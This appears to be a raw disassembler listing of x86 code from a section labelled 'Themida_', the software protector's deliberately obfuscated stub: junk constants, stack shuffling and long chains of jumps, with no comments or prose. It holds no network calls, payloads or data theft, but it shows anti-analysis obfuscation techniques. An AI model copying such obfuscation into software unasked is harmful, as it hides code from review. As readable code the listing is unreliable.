sub ecx, 7D9755BBh
push dword ptr [esp]
pop ebp
push eax
mov eax, esp
push esi
mov esi, 4
add eax, esi
mov esi, [esp]
jmp loc_598A3C
; ---------------------------------------------------------------------------
loc_5A0349: ; CODE XREF: Themida_:005A3C98j
pop edi
jmp loc_59362E
; ---------------------------------------------------------------------------
loc_5A034F: ; CODE XREF: Themida_:0059C1ECj
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, esp
push ecx
push 6D565BEEh
pop ecx
push edx
mov edx, 0FFFFFFFFh
jmp loc_59578F
; ---------------------------------------------------------------------------
loc_5A036A: ; CODE XREF: Themida_:005A4175j
add edi, 18C063h
add ebp, edi
jmp loc_593440
; ---------------------------------------------------------------------------
loc_5A0377: ; CODE XREF: Themida_:0059E30Bj
shl ebx, 5
push esi
mov esi, 4E5D797Ah
xor esi, 0C3C152Ch
dec esi
xor esi, 315F4DFFh
xor ebx, esi
pop esi
xor edx, ebx
pop ebx
or edx, 5B713A37h
sub edx, 5FFD7A73h
jmp loc_59F75F
; ---------------------------------------------------------------------------
loc_5A03A4: ; CODE XREF: Themida_:0059D0B4j
add ecx, 5CA54346h
sub ecx, esi
sub ecx, 5CA54346h
jmp loc_59CEF6
; ---------------------------------------------------------------------------
db 66h
dd 48BB353h, 0D469E93Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5A03C2: ; CODE XREF: Themida_:005A4F5Cj
mov ebx, 0
add ebx, 2CD950DAh
jmp loc_5A49E6
; ---------------------------------------------------------------------------
loc_5A03D2: ; CODE XREF: Themida_:005A1B9Dj
pop ebx
shr edi, 1
jmp loc_5993F1
; ---------------------------------------------------------------------------
loc_5A03DA: ; CODE XREF: Themida_:0059BD21j
xchg eax, [esp]
pop esp
jmp loc_5A1BCB
; ---------------------------------------------------------------------------
loc_5A03E3: ; CODE XREF: Themida_:005A2016j
mov [esp], esi
push esp
pop esi
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_59D36E
; ---------------------------------------------------------------------------
loc_5A0408: ; CODE XREF: Themida_:005A05DAj
push 57BBh
jmp loc_5A2E09
; ---------------------------------------------------------------------------
loc_5A0412: ; CODE XREF: Themida_:005A41C0j
add edx, 4
jmp loc_5A37F5
; ---------------------------------------------------------------------------
loc_5A041D: ; CODE XREF: Themida_:0059AC2Dj
pop edx
add edx, 1B0A7F2Ah
xor edx, 694E5CC0h
add edx, 0B654430h
mov ebx, edx
pop edx
mov edi, 7FE76595h
xor edi, ebx
mov ebx, [esp]
add esp, 4
and edx, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
push ebx
mov ebx, 788F2A5Eh
or ebx, 67E5193Fh
dec ebx
add ebx, 8010C486h
add edx, ebx
pop ebx
xchg edx, [esp]
pop esp
jmp loc_596A5C
; ---------------------------------------------------------------------------
loc_5A046D: ; CODE XREF: Themida_:005962F6j
add ecx, 36762639h
add ecx, eax
push esi
push eax
push 631A0ED7h
pop eax
add eax, 39A315EFh
neg eax
jmp loc_5A47E6
; ---------------------------------------------------------------------------
loc_5A0489: ; CODE XREF: Themida_:005971A6j
xor [esp], edx
jmp loc_5A1248
; ---------------------------------------------------------------------------
loc_5A0491: ; CODE XREF: Themida_:00596E86j
mov [esp], esi
jmp loc_5A4E64
; ---------------------------------------------------------------------------
loc_5A0499: ; CODE XREF: Themida_:00599F0Fj
sub cl, dh
pop dx
add cl, 0FFh
jmp loc_598C26
; ---------------------------------------------------------------------------
loc_5A04A5: ; CODE XREF: Themida_:0059B850j
push 87Dh
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 6DE0h
mov [esp], ebp
push 40C15896h
pop ebp
push esi
jmp loc_59703D
; ---------------------------------------------------------------------------
loc_5A04D2: ; CODE XREF: Themida_:005923F9j
movzx ecx, ax
push 1C66h
mov [esp], ebp
mov ebp, esp
push 536Eh
mov [esp], edx
push eax
push 19E13D37h
push dword ptr [esp]
pop eax
add esp, 4
neg eax
jmp loc_597D9F
; ---------------------------------------------------------------------------
loc_5A04FE: ; CODE XREF: Themida_:005938F4j
push 4AEAh
jmp loc_594A16
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push edx
jmp loc_599951
; ---------------------------------------------------------------------------
loc_5A0520: ; CODE XREF: Themida_:0059D3B5j
add ebx, 4
add ebx, 4
jmp loc_595AAA
; ---------------------------------------------------------------------------
loc_5A0531: ; CODE XREF: Themida_:005A0D08j
mov esp, [esp]
or eax, eax
jnz loc_592BE1
push esi
mov esi, 1
mov edx, esi
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov esi, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
sub eax, ebx
pop ebx
push eax
jmp loc_59F3AA
; ---------------------------------------------------------------------------
loc_5A056D: ; CODE XREF: Themida_:0059C1FEj
add ecx, 31FA48E8h
mov ebp, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_598696
; ---------------------------------------------------------------------------
loc_5A0588: ; CODE XREF: Themida_:00591702j
sub ebp, edx
pop edx
inc ebp
sub esp, 4
mov [esp], ebx
push 1F3D3BF3h
pop ebx
dec ebx
add ebx, 0FFFFFFFFh
xor ebx, 35537691h
jmp loc_595D14
; ---------------------------------------------------------------------------
loc_5A05AA: ; CODE XREF: Themida_:005A306Dj
neg eax
xor eax, 410EDB2Ch
jmp loc_5A0C25
; ---------------------------------------------------------------------------
loc_5A05B6: ; CODE XREF: Themida_:00594CF4j
and edx, esi
pop esi
push 0
jmp loc_59105D
; ---------------------------------------------------------------------------
loc_5A05C3: ; CODE XREF: Themida_:005A41B5j
push ebx
mov ebx, 39B8196Dh
jmp loc_59A47C
; ---------------------------------------------------------------------------
loc_5A05CE: ; CODE XREF: Themida_:0059BF80j
push edi
jmp loc_595429
; ---------------------------------------------------------------------------
loc_5A05D4: ; CODE XREF: Themida_:00599F82j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A0408
; ---------------------------------------------------------------------------
loc_5A05DF: ; CODE XREF: Themida_:0059DF31j
push esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_59FA9C
; ---------------------------------------------------------------------------
loc_5A05FD: ; CODE XREF: Themida_:00594B0Dj
shl ecx, 8
sub ecx, 4C0AFEF9h
xor edi, ecx
pop ecx
mov esi, edi
pop edi
sub ebx, esi
pop esi
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A0624: ; CODE XREF: Themida_:0059321Bj
mov edi, esp
add edi, 4
jmp loc_59A3E8
; ---------------------------------------------------------------------------
loc_5A0631: ; CODE XREF: Themida_:00594705j
shl eax, 5
push edi
mov edi, 0A9D2B4Fh
not edi
dec edi
add edi, 71FB768Dh
shl edi, 3
sub edi, 81D3CA86h
sub eax, edi
pop edi
jmp loc_597815
; ---------------------------------------------------------------------------
loc_5A0654: ; CODE XREF: Themida_:0059FA97j
pop edx
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
add edi, ecx
mov ecx, [esp]
push eax
jmp loc_5A45DF
; ---------------------------------------------------------------------------
loc_5A066A: ; CODE XREF: Themida_:005A4DC7j
mov ebx, [esp]
add esp, 4
jmp loc_5964C1
; ---------------------------------------------------------------------------
loc_5A0678: ; CODE XREF: Themida_:005A0782j
mov eax, [esp]
add esp, 4
push ebx
push eax
push 1CD30167h
pop eax
mov ebx, eax
jmp loc_5A4AD3
; ---------------------------------------------------------------------------
loc_5A0690: ; CODE XREF: Themida_:005997CEj
mov [esp], esi
mov esi, 31A406BBh
push edi
mov edi, 491A7F5Ah
jmp loc_59974D
; ---------------------------------------------------------------------------
loc_5A06A3: ; CODE XREF: Themida_:00594413j
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop ecx
push 563Ah
jmp loc_593F66
; ---------------------------------------------------------------------------
loc_5A06C1: ; CODE XREF: Themida_:0059428Ej
add ebp, 1
dec ebp
and ebp, 6CA25F66h
or ebp, 36B129F4h
add ebp, 0BDC51869h
mov edx, ebp
jmp loc_59F049
; ---------------------------------------------------------------------------
loc_5A06E1: ; CODE XREF: Themida_:0059F226j
pop esp
push 2A57h
mov [esp], esi
xchg ecx, [esp]
push ecx
jmp loc_59608A
; ---------------------------------------------------------------------------
loc_5A06F3: ; CODE XREF: Themida_:005A0CD3j
add esp, 4
push 1E88h
jmp loc_5999C7
; ---------------------------------------------------------------------------
loc_5A0703: ; CODE XREF: Themida_:00591D0Cj
shl ebp, 5
add ebp, 0CCFB760Ah
sub eax, 62E247EDh
jmp loc_5946DD
; ---------------------------------------------------------------------------
loc_5A0716: ; CODE XREF: Themida_:0059D1CFj
pop ebx
pop eax
jmp loc_59BAD0
; ---------------------------------------------------------------------------
loc_5A071D: ; CODE XREF: Themida_:00598540j
xchg ecx, [esp]
pop esp
jmp loc_59F670
; ---------------------------------------------------------------------------
loc_5A0726: ; CODE XREF: Themida_:005960A6j
push dword ptr [esp]
pop ebx
add esp, 4
xor al, 0Fh
sub cl, 32h
add cl, al
add cl, 32h
pop eax
sub al, 0B1h
sub al, cl
add al, 0B1h
pop ecx
push edx
push esp
pop edx
jmp loc_59060D
; ---------------------------------------------------------------------------
loc_5A0747: ; CODE XREF: Themida_:0059812Dj
push edx
mov edx, 46C13293h
dec edx
inc edx
and edx, 3989506Bh
sub edx, 42424Bh
sub ebp, edx
pop edx
add esi, ebp
jmp loc_59C8A8
; ---------------------------------------------------------------------------
loc_5A0765: ; CODE XREF: Themida_:0059FE70j
mov [esp], edi
push ebp
sub dword ptr [esp], 5A3A4EE7h
pop edi
jmp loc_5A39BF
; ---------------------------------------------------------------------------
loc_5A0776: ; CODE XREF: Themida_:0059AE86j
pop esp
xchg esi, [edi+24h]
loc_5A077A: ; CODE XREF: Themida_:0059C9D3j
push ebx
xor dword ptr [esp], 26EE0A25h
jmp loc_5A0678
; ---------------------------------------------------------------------------
loc_5A0787: ; CODE XREF: Themida_:0059AAD2j
xor bl, 0DCh
sub dl, 21h
sub dl, bl
add dl, 21h
mov ebx, [esp]
jmp loc_592477
; ---------------------------------------------------------------------------
loc_5A079A: ; CODE XREF: Themida_:00597106j
add ecx, 705C40E0h
add ecx, 0B4FEB0A2h
sub edx, ecx
jmp loc_5A3078
; ---------------------------------------------------------------------------
loc_5A07AD: ; CODE XREF: Themida_:0059BF49j
mov cl, dh
pop edx
mov bl, dh
pop edx
push edx
push ecx
mov cl, 18h
jmp loc_5A0B1C
; ---------------------------------------------------------------------------
loc_5A07BC: ; CODE XREF: Themida_:0059FAC7j
push dword ptr [esp]
jmp loc_59F162
; ---------------------------------------------------------------------------
loc_5A07C4: ; CODE XREF: Themida_:0059578Aj
mov eax, [esp]
add esp, 4
inc dl
dec dl
push ebx
mov bl, 16h
jmp loc_590369
; ---------------------------------------------------------------------------
loc_5A07D6: ; CODE XREF: Themida_:0059614Aj
add eax, esi
pop esi
jmp loc_5A34C9
; ---------------------------------------------------------------------------
loc_5A07DE: ; CODE XREF: Themida_:0059FEEAj
add esi, edi
mov edi, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
add [esp], eax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A07F5: ; CODE XREF: Themida_:00591F5Ej
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_59DDAD
; ---------------------------------------------------------------------------
loc_5A080B: ; CODE XREF: Themida_:00599EC0j
xor ecx, 7639157Eh
xor ecx, 0BCE1D33h
sub ecx, 0EFE80C89h
sub edi, ecx
pop ecx
jmp loc_5A56E2
; ---------------------------------------------------------------------------
loc_5A0825: ; CODE XREF: Themida_:005A12E5j
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_59EC7C
; ---------------------------------------------------------------------------
loc_5A0831: ; CODE XREF: Themida_:005A1C51j
mov [esp], ecx
mov ecx, 7489525Eh
not ecx
jmp loc_5980D3
; ---------------------------------------------------------------------------
loc_5A0840: ; CODE XREF: Themida_:00598396j
pop ecx
mov ecx, 0F214FD90h
add ecx, edi
mov edi, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
push 932h
mov [esp], ebx
jmp loc_59F06F
; ---------------------------------------------------------------------------
loc_5A0874: ; CODE XREF: Themida_:0059BEB9j
mov edi, esp
push 3FCh
mov [esp], ebp
sub esp, 4
mov [esp], esp
jmp loc_593DD7
; ---------------------------------------------------------------------------
loc_5A088C: ; CODE XREF: Themida_:005A224Dj
pop dword ptr [esp]
mov esp, [esp]
push 408Ah
mov [esp], ecx
push 7FA13EFEh
pop ecx
sub esp, 4
jmp loc_59B8F2
; ---------------------------------------------------------------------------
loc_5A08A8: ; CODE XREF: Themida_:0059845Dj
pop ecx
pop edx
add ebx, edi
add ebx, 176755C0h
jmp loc_59ED21
; ---------------------------------------------------------------------------
loc_5A08B7: ; CODE XREF: Themida_:0059334Ej
shr edx, 1
add edx, 68DA6814h
jmp loc_596F60
; ---------------------------------------------------------------------------
loc_5A08C4: ; CODE XREF: Themida_:0059F368j
mov edi, [esp]
add esp, 4
jmp loc_596889
; ---------------------------------------------------------------------------
loc_5A08D2: ; CODE XREF: Themida_:00598AE3j
xchg ebp, [esp]
jmp loc_59E199
; ---------------------------------------------------------------------------
loc_5A08DA: ; CODE XREF: Themida_:005A2E11j
mov [esp], ebp
push esi
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A331B
; ---------------------------------------------------------------------------
loc_5A08EC: ; CODE XREF: Themida_:0059F3B2j
mov esp, [esp]
jmp loc_5907CA
; ---------------------------------------------------------------------------
loc_5A08F4: ; CODE XREF: Themida_:00591B19j
add edi, 4
xchg edi, [esp]
pop esp
dec ecx
jmp loc_5A1757
; ---------------------------------------------------------------------------
loc_5A0904: ; CODE XREF: Themida_:0059E6FFj
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A0909: ; CODE XREF: Themida_:005A564Aj
shl esi, 8
push eax
push ebx
mov ebx, 37312402h
push esi
jmp loc_593415
; ---------------------------------------------------------------------------
loc_5A0919: ; CODE XREF: Themida_:0059B7CAj
add bh, 87h
push small 1942h
jmp loc_5A09B7
; ---------------------------------------------------------------------------
loc_5A0925: ; CODE XREF: Themida_:005936ACj
add ch, dl
jmp loc_5A19B0
; ---------------------------------------------------------------------------
loc_5A092C: ; CODE XREF: Themida_:00590EE6j
push eax
jmp loc_59EB39
; ---------------------------------------------------------------------------
loc_5A0932: ; CODE XREF: Themida_:00591381j
or ecx, 2DE33D81h
xor ecx, 15C46EE5h
xor ecx, 6A2F2D35h
add edx, ecx
pop ecx
add ebp, edx
pop edx
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
mov eax, 15B86E05h
push edi
mov edi, 15B86E07h
xor eax, edi
mov edi, [esp]
add esp, 4
push eax
mov eax, 0CF22A56h
sub ebp, eax
pop eax
add ebp, eax
push esi
mov esi, 76FD09FBh
push eax
mov eax, 7E5E4380h
jmp loc_591797
; ---------------------------------------------------------------------------
loc_5A0994: ; CODE XREF: Themida_:0059F204j
push 3A26h
mov [esp], eax
mov eax, 38810780h
xor eax, 38810784h
add edi, eax
pop eax
add edi, 4
jmp loc_59353A
; ---------------------------------------------------------------------------
loc_5A09B1: ; CODE XREF: Themida_:0059D7B9j
pop eax
jmp loc_5921E6
; ---------------------------------------------------------------------------
loc_5A09B7: ; CODE XREF: Themida_:005A0920j
mov [esp], cx
mov ch, 46h
or bh, ch
mov cx, [esp]
jmp loc_597DC4
; ---------------------------------------------------------------------------
loc_5A09C8: ; CODE XREF: Themida_:005A4DEEj
sub ebx, eax
jmp loc_59B21B
; ---------------------------------------------------------------------------
loc_5A09CF: ; CODE XREF: Themida_:00592C69j
sub edx, ecx
jmp loc_5917D9
; ---------------------------------------------------------------------------
loc_5A09D6: ; CODE XREF: Themida_:0059B74Ej
not dword ptr [esp]
pop edx
sub edx, 8F8409E3h
add esi, 59D53094h
add esi, edx
sub esi, 59D53094h
mov edx, [esp]
push eax
mov eax, esp
jmp loc_5964E3
; ---------------------------------------------------------------------------
loc_5A09F9: ; CODE XREF: Themida_:0059D2E5j
add esi, ecx
pop ecx
add esi, 3CCA2C93h
sub esp, 4
mov [esp], eax
mov eax, 17B50447h
add eax, 5B73861h
sub esp, 4
jmp loc_599E89
; ---------------------------------------------------------------------------
loc_5A0A20: ; CODE XREF: Themida_:0059FD13j
mov ebx, [esp]
add esp, 4
sub ebx, 11671141h
add ebx, ecx
add ebx, 11671141h
jmp loc_597277
; ---------------------------------------------------------------------------
loc_5A0A39: ; CODE XREF: Themida_:0059FA01j
shr ebp, 8
jmp loc_595244
; ---------------------------------------------------------------------------
loc_5A0A41: ; CODE XREF: Themida_:005A22CBj
add edx, 7E290C8Ch
push eax
mov eax, 0B8976195h
xor edx, eax
pop eax
sub edi, edx
pop edx
and eax, edi
mov edi, [esp]
add esp, 4
jmp loc_5A298C
; ---------------------------------------------------------------------------
loc_5A0A60: ; CODE XREF: Themida_:00590356j
mov eax, [esp]
add esp, 4
jmp loc_59B253
; ---------------------------------------------------------------------------
loc_5A0A6B: ; CODE XREF: Themida_:00598F52j
pop edi
jmp loc_59B28E
; ---------------------------------------------------------------------------
loc_5A0A71: ; CODE XREF: Themida_:00597A97j
mov eax, 3A0F77F7h
sub ebp, eax
pop eax
sub ebp, esi
push ecx
jmp loc_5994A3
; ---------------------------------------------------------------------------
loc_5A0A81: ; CODE XREF: Themida_:0059716Cj
pop edx
add eax, esi
pop esi
jmp loc_5A50B4
; ---------------------------------------------------------------------------
loc_5A0A8A: ; CODE XREF: Themida_:005A4717j
push eax
mov eax, 2894B1Dh
and ebp, eax
pop eax
jmp loc_5943A0
; ---------------------------------------------------------------------------
loc_5A0A98: ; CODE XREF: Themida_:0059635Cj
xor esi, 64FF9E36h
add edx, esi
jmp loc_596D0D
; ---------------------------------------------------------------------------
loc_5A0AA5: ; CODE XREF: Themida_:005A18BEj
mov ecx, [esp]
add esp, 4
sub dh, 31h
jmp loc_5A3F6F
; ---------------------------------------------------------------------------
loc_5A0AB6: ; CODE XREF: Themida_:0059A526j
mov ecx, [esp]
add esp, 4
jmp loc_5A1867
; ---------------------------------------------------------------------------
loc_5A0AC1: ; CODE XREF: Themida_:00598C21j
neg dl
push ebx
mov bh, 0DFh
jmp loc_594D23
; ---------------------------------------------------------------------------
loc_5A0ACB: ; CODE XREF: Themida_:005A2264j
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], edx
mov edx, 0D70062Ah
shr edx, 3
inc edx
shl edx, 2
push ebx
mov ebx, 1
sub edx, ebx
pop ebx
jmp loc_5966F1
; ---------------------------------------------------------------------------
loc_5A0AF7: ; CODE XREF: Themida_:005920DAj
pop ecx
add esi, 4
xchg esi, [esp]
pop esp
push 1C54h
mov [esp], ecx
push ebx
push 5D88h
mov [esp], ecx
mov cl, 1Ah
push edx
mov dl, cl
mov bh, dl
jmp loc_59E91A
; ---------------------------------------------------------------------------
loc_5A0B1C: ; CODE XREF: Themida_:005A07B7j
push ebx
mov bh, 40h
mov dh, 0
add dh, bh
jmp loc_59DB28
; ---------------------------------------------------------------------------
loc_5A0B28: ; CODE XREF: Themida_:005958C2j
push edx
push 4B8406B1h
pop edx
push ecx
mov ecx, 5DAD4738h
sub esp, 4
mov [esp], ebp
jmp loc_5A28D2
; ---------------------------------------------------------------------------
loc_5A0B40: ; CODE XREF: Themida_:0059908Bj
sub esp, 4
mov [esp], edi
sub dword ptr [esp], 55D62698h
jmp loc_591E6B
; ---------------------------------------------------------------------------
loc_5A0B52: ; CODE XREF: Themida_:0059CE50j
sub esp, 4
mov [esp], ebp
mov ebp, 2
jmp loc_59BF5B
; ---------------------------------------------------------------------------
loc_5A0B65: ; CODE XREF: Themida_:00595306j
pop ebx
add eax, esi
mov esi, [esp]
push 26C1h
mov [esp], eax
push esp
pop eax
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
xor eax, [esp]
xor [esp], eax
jmp loc_5903FD
; ---------------------------------------------------------------------------
loc_5A0B94: ; CODE XREF: Themida_:0059EC36j
add eax, ebp
push dword ptr [esp]
jmp $+5
pop ebp
add esp, 4
jmp loc_598DA5
; ---------------------------------------------------------------------------
loc_5A0BAA: ; CODE XREF: Themida_:005A23DFj
add edi, 0E540198h
add edi, ebx
sub edi, 0E540198h
sub edi, 748B3BD2h
mov ebx, [esp]
jmp loc_5A2E22
; ---------------------------------------------------------------------------
loc_5A0BC6: ; CODE XREF: Themida_:005948E6j
push 4AD5h
mov [esp], esi
jmp loc_5A20CA
; ---------------------------------------------------------------------------
loc_5A0BD3: ; CODE XREF: Themida_:005A497Bj
add ecx, edx
mov edx, [esp]
add esp, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
test cx, ax
pushf
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A0BF9: ; CODE XREF: Themida_:0059D4EEj
push 6991h
mov [esp], ecx
push esp
pop ecx
jmp loc_594ACE
; ---------------------------------------------------------------------------
loc_5A0C08: ; CODE XREF: Themida_:00599A09j
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_596E8B
; ---------------------------------------------------------------------------
loc_5A0C1A: ; CODE XREF: Themida_:005972B2j
add ecx, 4
xchg ecx, [esp]
jmp loc_5A1A47
; ---------------------------------------------------------------------------
loc_5A0C25: ; CODE XREF: Themida_:005A05B1j
sub ebp, eax
pop eax
mov edi, ebp
pop ebp
add eax, 0A8A1F41h
jmp loc_591F03
; ---------------------------------------------------------------------------
loc_5A0C35: ; CODE XREF: Themida_:00591B33j
mov esi, 6D2B6E48h
jmp loc_592051
; ---------------------------------------------------------------------------
loc_5A0C3F: ; CODE XREF: Themida_:005A11E7j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
mov eax, 1EAB1C5Bh
sub esp, 4
jmp loc_5A5494
; ---------------------------------------------------------------------------
loc_5A0C59: ; CODE XREF: Themida_:005921E1j
sub ebp, 77D10D1Dh
add ebp, esi
jmp loc_596932
; ---------------------------------------------------------------------------
loc_5A0C66: ; CODE XREF: Themida_:005A406Dj
mov [esp], ebp
jmp loc_594BC1
; ---------------------------------------------------------------------------
loc_5A0C6E: ; CODE XREF: Themida_:005A0184j
and eax, ebx
jmp loc_59BD26
; ---------------------------------------------------------------------------
loc_5A0C75: ; CODE XREF: Themida_:005932C2j
sub ecx, eax
pop eax
sub ebx, 15303D2h
jmp loc_59A5FD
; ---------------------------------------------------------------------------
loc_5A0C83: ; CODE XREF: Themida_:005A471Dj
mov esi, 5C67A7Fh
push ebp
jmp loc_59D34B
; ---------------------------------------------------------------------------
loc_5A0C8E: ; CODE XREF: Themida_:005A10FCj
mov ecx, [esp]
add esp, 4
jmp loc_5990A0
; ---------------------------------------------------------------------------
loc_5A0C9C: ; CODE XREF: Themida_:00592D6Cj
dec cl
xor cl, 0EFh
add cl, 0CDh
jmp loc_59A0FB
; ---------------------------------------------------------------------------
loc_5A0CA9: ; CODE XREF: Themida_:005A2AC8j
add esp, 4
push edx
jmp loc_59E15D
; ---------------------------------------------------------------------------
loc_5A0CB2: ; CODE XREF: Themida_:00593DF5j
mov [esp], esi
push ebp
mov ebp, 2139081Ch
push eax
mov eax, 441E4CA9h
neg eax
jmp loc_59E3A6
; ---------------------------------------------------------------------------
loc_5A0CC8: ; CODE XREF: Themida_:0059C5C3j
xor esi, [esp]
jmp loc_5A104A
; ---------------------------------------------------------------------------
loc_5A0CD0: ; CODE XREF: Themida_:00594FFAj
mov edi, [esp]
jmp loc_5A06F3
; ---------------------------------------------------------------------------
loc_5A0CD8: ; CODE XREF: Themida_:0059252Bj
pop edx
add esi, 4
xchg esi, [esp]
jmp loc_5A3435
; ---------------------------------------------------------------------------
loc_5A0CE4: ; CODE XREF: Themida_:0059435Dj
xor ecx, 176D12F7h
jmp loc_59A5E8
; ---------------------------------------------------------------------------
loc_5A0CEF: ; CODE XREF: Themida_:005996E0j
sub ebp, 14376Ch
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp]
pop esp
pop ecx
jmp loc_5920F8
; ---------------------------------------------------------------------------
loc_5A0D05: ; CODE XREF: Themida_:00595ACCj
pop dword ptr [esp]
jmp loc_5A0531
; ---------------------------------------------------------------------------
loc_5A0D0D: ; CODE XREF: Themida_:00592AE2j
add ecx, edx
pop edx
mov ebp, ecx
jmp loc_5928DC
; ---------------------------------------------------------------------------
loc_5A0D17: ; CODE XREF: Themida_:005991D0j
add ecx, 4F3D4A6Fh
add ecx, 1C465924h
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
pop dword ptr [eax]
add dword ptr [eax], 556A1461h
jmp loc_5902C1
; ---------------------------------------------------------------------------
loc_5A0D38: ; CODE XREF: Themida_:0059654Ej
xor ebx, esi
pop esi
add ecx, ebx
jmp loc_595538
; ---------------------------------------------------------------------------
loc_5A0D42: ; CODE XREF: Themida_:005A24D6j
sub dword ptr [esp], 78895657h
pop ebx
push edx
push edi
mov edi, 37E8440Dh
mov edx, 40A1124Ah
add edx, 1F4C19FDh
jmp loc_5A38BC
; ---------------------------------------------------------------------------
loc_5A0D61: ; CODE XREF: Themida_:0059E2E4j
sub al, 0CDh
shr al, 1
sub al, 92h
mov cl, al
pop eax
push edx
mov dl, 0D3h
or cl, dl
push dword ptr [esp]
pop edx
add esp, 4
push dx
mov dh, 1Ch
inc dh
push 5C6Fh
mov [esp], ecx
mov ch, 0Bh
shr ch, 5
add ch, 0FFh
push 7766h
mov [esp], ebx
jmp loc_591564
; ---------------------------------------------------------------------------
loc_5A0D9C: ; CODE XREF: Themida_:005922E1j
sub ecx, 2043169Eh
and ecx, 6B8468EEh
push edx
mov edx, 2C3B2CDDh
shl edx, 8
add edx, 574B214Bh
jmp loc_59ED02
; ---------------------------------------------------------------------------
loc_5A0DBC: ; CODE XREF: Themida_:0059A5ABj
mov ebp, 38FF0698h
and ebp, 358D1ED3h
or ebp, 0CAC1981h
dec ebp
not ebp
xor ebp, 64BC7639h
add ebp, 875DB8FAh
jmp loc_5A3A47
; ---------------------------------------------------------------------------
loc_5A0DE1: ; CODE XREF: Themida_:0059848Dj
mov edx, esp
add edx, 4
push 5B24h
mov [esp], esi
mov esi, 4
jmp loc_59BFF6
; ---------------------------------------------------------------------------
loc_5A0DFB: ; CODE XREF: Themida_:005A17E6j
push ebp
not dword ptr [esp]
pop ebp
push edi
mov edi, 6EBA1C44h
jmp loc_5A470E
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_59FC5A
; ---------------------------------------------------------------------------
loc_5A0E1A: ; CODE XREF: Themida_:005A517Bj
mov bl, dh
pop edx
not bl
mov cl, bl
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_599F09
; ---------------------------------------------------------------------------
loc_5A0E2D: ; CODE XREF: Themida_:00595F5Aj
push 2B3676D4h
pop ecx
sub ebp, ecx
pop ecx
push edi
mov edi, 2C592651h
xor ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_59629C
; ---------------------------------------------------------------------------
loc_5A0E4C: ; CODE XREF: Themida_:0059B828j
mov esi, 4
add [esp+4], esi
pop esi
jmp loc_5A429F
; ---------------------------------------------------------------------------
loc_5A0E5B: ; CODE XREF: Themida_:0059088Aj
add eax, 433288Ch
jmp loc_5A53BB
; ---------------------------------------------------------------------------
mov dh, 1Dh
xor dh, 0E6h
jmp loc_59DD14
; ---------------------------------------------------------------------------
loc_5A0E6F: ; CODE XREF: Themida_:005A2BFDj
push edi
mov edi, 0D3B6B6Ah
jmp loc_5902D3
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
push 4777h
mov [esp], ebp
push 6CB5h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
jmp loc_59350A
; ---------------------------------------------------------------------------
loc_5A0E9F: ; CODE XREF: Themida_:00591C05j
pop ebx
add esi, 3F41286Eh
add esi, 577C141Ah
sub esi, 0EE74BCh
sub esi, ebx
add esi, 0EE74BCh
sub esi, 577C141Ah
sub esi, 3F41286Eh
jmp loc_59A8CB
; ---------------------------------------------------------------------------
loc_5A0ECB: ; CODE XREF: Themida_:005A55CEj
push 3B93h
mov [esp], ebp
mov ebp, 0B1227C0h
xor ebp, 51E36B25h
dec ebp
jmp loc_59E814
; ---------------------------------------------------------------------------
loc_5A0EE4: ; CODE XREF: Themida_:0059CB6Dj
push dword ptr [esp]
mov edi, [esp]
push edx
jmp loc_59DE29
; ---------------------------------------------------------------------------
loc_5A0EF0: ; CODE XREF: Themida_:0059227Bj
add esp, 4
sub ebp, 0FFFFFFFFh
neg ebp
jmp loc_598505
; ---------------------------------------------------------------------------
push eax
jmp loc_590ACA
; ---------------------------------------------------------------------------
loc_5A0F06: ; CODE XREF: Themida_:00594714j
push ebp
mov ebp, 37D80CE8h
and ebp, 1305658Dh
xor ebp, 4E8669BCh
mov ebx, ebp
jmp loc_5918B8
; ---------------------------------------------------------------------------
